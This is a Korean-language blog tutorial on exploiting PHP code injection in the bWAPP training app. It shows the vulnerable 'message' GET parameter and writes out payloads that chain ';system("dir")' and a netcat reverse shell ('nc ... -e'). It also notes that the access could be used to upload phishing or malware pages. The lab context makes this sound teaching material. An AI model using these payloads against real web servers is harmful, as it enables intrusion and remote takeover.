Code::Security/비박스(BWAPP)

비박스(bWAPP) PHP Code Injection

태군 코드 2019. 4. 12. 16:25
반응형

이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

 

A1 - PHP Code Injection

 

비박스 취약점 진단항목 A1 - Injection 항목에 해당하는 PHP Code Injection에 대하여 살펴 보도록 하겠습니다.

 

비박스 메인 화면

비박스 로그인을 하신후 PHP Code Injection을 선택해 주신후 [Hack] 버튼을 눌러 줍니다.

 

PHP Code Injection 화면

PHP Code Injection 페이지에 접속하신후 URL을 확인해 보시면 해당페이지는 'phpi.php' 페이지라는 것을 알수 있으며, 'message'라는 굵은 글씨가 보이실겁니다. 여기서 'message'라는 굵은 글씨를 클릭하시면 'test'라는 문자열을 페이지에 출력하는 것을 확인할수 있습니다.

 

test 문자열 출력

해당하면은 GET 메소드로 요청하기 때문에 URL에 'message'라는 변수를 노출하고, 'message 변수에 입력된 'test'문자열을 출력하는 것을 알수 있습니다. 여기서 'test' 문자열 대신 다른 문자열을 입력해 보도록 하겠습니다.

 

문자열 변경

'test' 문자열 대신에 'security' 문자열을 입력하면 phpi.php 페이지에 입력한 문자열이 출력된다는 것을 알수 있습니다.

 

PHP에서는 exec() 함수나 eval() 함수를 사용한 경우 세미콜론(;)을 사용하여 다른 함수를 실행하는 취약점이 있습니다. 우선 취약점이 있는지 확인하기 위해서는 세미 콜론과 system 함수를 사용하여야 합니다. system 함수는 문자열 형태의 명령어를 인자 값으로 받아서 해당하는 명령어를 실행합니다.

 

system 함수를 이용한 명령어 실행

저는 윈도우 환경이기 때문에 윈도우 명령어를 사용하였습니다. 리눅스 사용자분들은 리눅스 명령어를 사용해 주시면 됩니다. 입력 결과 message 변수에 입력한 문자열 뒤에 ;system("dir") 명령어 실행 결과를 출력합니다. dir 명령어는 윈도우에서 파일 목록을 표시하는 명령어 입니다. dir 이외에도 많은 명령어들이 있으니 한번씩 테스트를 해보시고 출력 결과를 확인하시기 바랍니다.

 

여기서 넷캣(netcat)을 사용하여 권한 상승후 악의적인 스크립트 파일을 서버에 추가할 수도 있습니다. 넷캣을 사용하는 방법은 인터넷을 검색하면 많은 자료들이 나오니 한번씩 테스트를 해보시면 도움이 되실거라 생각이 됩니다.

 

넷캣을 사용하기 위해서는 nc -l 옵션으로 listen 모드로 설정하여 다른 호스트가 접속할 때가지 대기하고 하고, -p 옵션으로 접속할 포트 번호를 지정합니다 예시) nc -l -p 4444

 

그 다음 system 함수로 넷캣 프로그램을 실행해 줍니다. http://localhost/bWAPP/phpi.php?message=security;system('nc 127.0.0.1 4444 -e (실행할 프로그램)) 이렇게 입력을 하시면 대기하고 있던 공격자 포트와 연결이되고 시스템에 침투하여 추가 명령어를 입력할 수 있습니다. 만약 웹서버에 조작된 html파일을 업로드 한다면

피싱이나 악성코드가 실행되는  페이지도 작성할 수 있을 것입니다.

 

난이도 중/상

난이도 중/상에서는 htmlspecialchars 함수로 입력값을 우회 합니다. htmlspecialchars 함수는 PHP에서 제공하는 기본 함수로, htmlspecialchars 함수에서 반환하는 함수는 특수문자 &, ", ', <, > 입니다.

반응형